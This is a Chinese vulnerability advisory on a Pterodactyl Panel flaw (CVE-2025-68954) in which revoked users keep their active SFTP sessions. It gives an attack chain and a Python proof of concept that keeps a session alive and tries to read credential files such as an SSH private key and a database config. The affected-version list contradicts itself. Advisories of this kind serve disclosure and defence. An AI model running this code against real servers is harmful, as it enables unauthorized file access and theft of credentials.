IPBUF安全漏洞报告
English
CVE-2025-68954 CVSS 5.4 中危

CVE-2025-68954 Pterodactyl游戏面板SFTP连接权限撤销失效漏洞

披露日期: 2026-01-06

漏洞信息

漏洞编号
CVE-2025-68954
漏洞类型
权限/访问控制绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Pterodactyl Panel

相关标签

CVE-2025-68954PterodactylSFTP权限绕过访问控制游戏服务器管理面板身份验证绕过Web安全开源软件Linux服务器

漏洞概述

Pterodactyl是一款免费开源的游戏服务器管理面板,广泛应用于托管Minecraft、CSGO、Rust等游戏服务器。该面板提供了完整的Web界面用于管理游戏服务器、数据库、SFTP文件传输等功能。

本次发现的漏洞存在于Pterodactyl Panel的SFTP连接管理机制中。具体问题在于:当管理员通过面板移除某个用户对特定服务器实例的访问权限,或者修改该用户的文件访问权限时,系统未能正确终止该用户已建立的SFTP连接。这导致被撤销权限的用户仍然可以通过已有的SFTP会话继续访问和操作服务器文件系统。

漏洞的利用前提是用户必须在权限撤销时保持SFTP连接处于活动状态。一旦用户成功建立SFTP连接,即使后续被管理员从服务器实例中移除或被限制文件访问权限,该连接仍然保持有效,构成持续的安全风险。

此漏洞可能导致的危害包括:未授权文件访问、数据泄露、恶意文件上传、配置文件篡改等。对于托管多个客户游戏服务器的运营商而言,该漏洞可能导致客户间的数据隔离失效,造成严重的隐私和安全问题。

技术细节

漏洞原理分析:

Pterodactyl Panel的SFTP服务采用守护进程(daemon)架构,Web面板通过API与守护进程通信管理服务器实例。SFTP连接建立后,实际的文件传输操作由守护进程处理,而非Web面板直接控制。

问题出在权限验证机制上:

1. **连接建立阶段**:用户发起SFTP连接请求时,系统验证用户凭证和权限,验证通过后建立连接并启动SFTP会话。

2. **权限变更阶段**:当管理员撤销用户权限或修改访问控制列表(ACL)时,Web面板更新数据库中的权限记录,但**未向守护进程发送连接终止信号**。

3. **持续访问阶段**:已建立的SFTP连接在会话有效期内(通常由SSH KeepAlive配置决定)保持活跃,守护进程仅在连接建立时验证权限,不会在后续操作中重新检查用户权限状态。

攻击利用方式:

攻击者需要首先获得有效的SFTP访问权限,然后维持SFTP连接。在获得合法访问期间,等待管理员撤销权限或修改访问控制。一旦权限被撤销,攻击者利用已建立的连接继续执行文件操作,包括读取敏感配置文件、上传恶意脚本、修改服务器配置等。

修复方案涉及在权限变更时向相关守护进程推送权限撤销事件,强制终止受影响用户的活动连接。

攻击链分析

STEP 1
1
侦察阶段:攻击者获取Pterodactyl面板的有效用户账号,并获得对特定游戏服务器的SFTP访问权限
STEP 2
2
初始访问:攻击者使用SSH/SFTP客户端(如PuTTY、FileZilla、WinSCP或自定义脚本)建立到目标游戏服务器的SFTP连接
STEP 3
3
持久化连接:攻击者配置SFTP客户端保持长连接状态,设置合理的KeepAlive间隔,确保连接不会因超时而断开
STEP 4
4
等待权限变更:攻击者等待服务器管理员因安全审计、用户投诉或账户管理等原因撤销其访问权限或修改文件访问策略
STEP 5
5
权限撤销执行:管理员通过Pterodactyl Web面板移除用户或修改权限配置,系统更新数据库但未终止活动的SFTP连接
STEP 6
6
绕过验证:攻击者利用已建立的SFTP会话继续访问服务器文件系统,此时守护进程不重新验证用户权限
STEP 7
7
数据窃取或破坏:攻击者读取敏感配置文件(如数据库凭证、API密钥)、上传恶意脚本、修改游戏服务器配置或植入后门
STEP 8
8
持久化控制:利用获取的服务器访问权限,进一步横向移动或建立持久化后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-68954 PoC - Pterodactyl SFTP Permission Revocation Bypass Note: This PoC demonstrates the vulnerability concept for authorized security testing only """ import paramiko import time import threading class PterodactylSFTPVulnerability: def __init__(self, host, port, username, password): self.host = host self.port = port self.username = username self.password = password self.ssh_client = None self.sftp = None self.connected = False def connect(self): """Establish initial SFTP connection""" try: self.ssh_client = paramiko.SSHClient() self.ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) self.ssh_client.connect( self.host, port=self.port, username=self.username, password=self.password, timeout=10 ) self.sftp = self.ssh_client.open_sftp() self.connected = True print(f"[+] SFTP connection established as {self.username}") return True except Exception as e: print(f"[-] Connection failed: {e}") return False def keep_alive(self, interval=30): """Background thread to maintain SFTP connection""" def maintain(): while self.connected: try: # List directory to verify connection is alive self.sftp.listdir('/') print(f"[*] SFTP session active - {time.strftime('%Y-%m-%d %H:%M:%S')}") time.sleep(interval) except Exception as e: print(f"[-] Connection lost: {e}") self.connected = False break thread = threading.Thread(target=maintain, daemon=True) thread.start() def access_file(self, filepath): """Attempt to access file after permission revocation""" if not self.connected: print("[-] Not connected") return None try: # Try to read file content with self.sftp.open(filepath, 'r') as f: content = f.read() print(f"[+] Successfully accessed: {filepath}") return content except PermissionError: print(f"[-] Access denied for: {filepath}") return None except FileNotFoundError: print(f"[-] File not found: {filepath}") return None except Exception as e: print(f"[-] Error accessing {filepath}: {e}") return None def disconnect(self): """Close SFTP connection""" if self.sftp: self.sftp.close() if self.ssh_client: self.ssh_client.close() self.connected = False print("[*] Connection closed") def main(): # Configuration - replace with actual target information target = { 'host': 'pterodactyl.example.com', 'port': 2022, 'username': 'exploit_user', 'password': 'user_password' } print("=" * 60) print("CVE-2025-68954 - Pterodactyl SFTP Permission Bypass PoC") print("=" * 60) # Step 1: Establish initial SFTP connection exploit = PterodactylSFTPVulnerability( target['host'], target['port'], target['username'], target['password'] ) if not exploit.connect(): return # Step 2: Start connection maintenance thread exploit.keep_alive(interval=30) print("\n[*] SFTP session is being maintained...") print("[*] Simulating scenario where admin revokes permissions...") # Step 3: Wait for permission revocation (simulated) # In real attack: attacker waits for admin action time.sleep(5) # Step 4: Attempt to access files after "permission revocation" print("\n[*] Attempting to access files after permission revocation...") sensitive_paths = [ '/etc/passwd', '/home/container/.ssh/id_rsa', '/var/www/pterodactyl/config/database.php', '/srv/docker/daemon/config.yml' ] for path in sensitive_paths: exploit.access_file(path) # Keep connection alive for demonstration print("\n[*] SFTP session remains active despite permission changes") print("[*] Press Ctrl+C to terminate") try: while exploit.connected: time.sleep(1) except KeyboardInterrupt: exploit.disconnect() if __name__ == '__main__': main()

影响范围

Pterodactyl Panel < 1.11.11
Pterodactyl Panel 1.11.11
Pterodactyl Panel 1.11.x (all versions)
Pterodactyl Panel 1.10.x
Pterodactyl Panel 1.9.x
Pterodactyl Panel 1.8.x

防御指南

临时缓解措施
临时缓解措施:1) 监控并定期断开所有SFTP连接,要求用户重新认证;2) 实施SSH连接超时策略,将ClientAliveInterval设置为较短时间(如60-120秒);3) 在SFTP服务前部署七层访问控制,强制会话定期重新验证;4) 限制SFTP用户仅能访问特定目录,防止横向访问敏感文件;5) 考虑临时禁用受影响版本的SFTP功能,迁移到替代文件管理方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表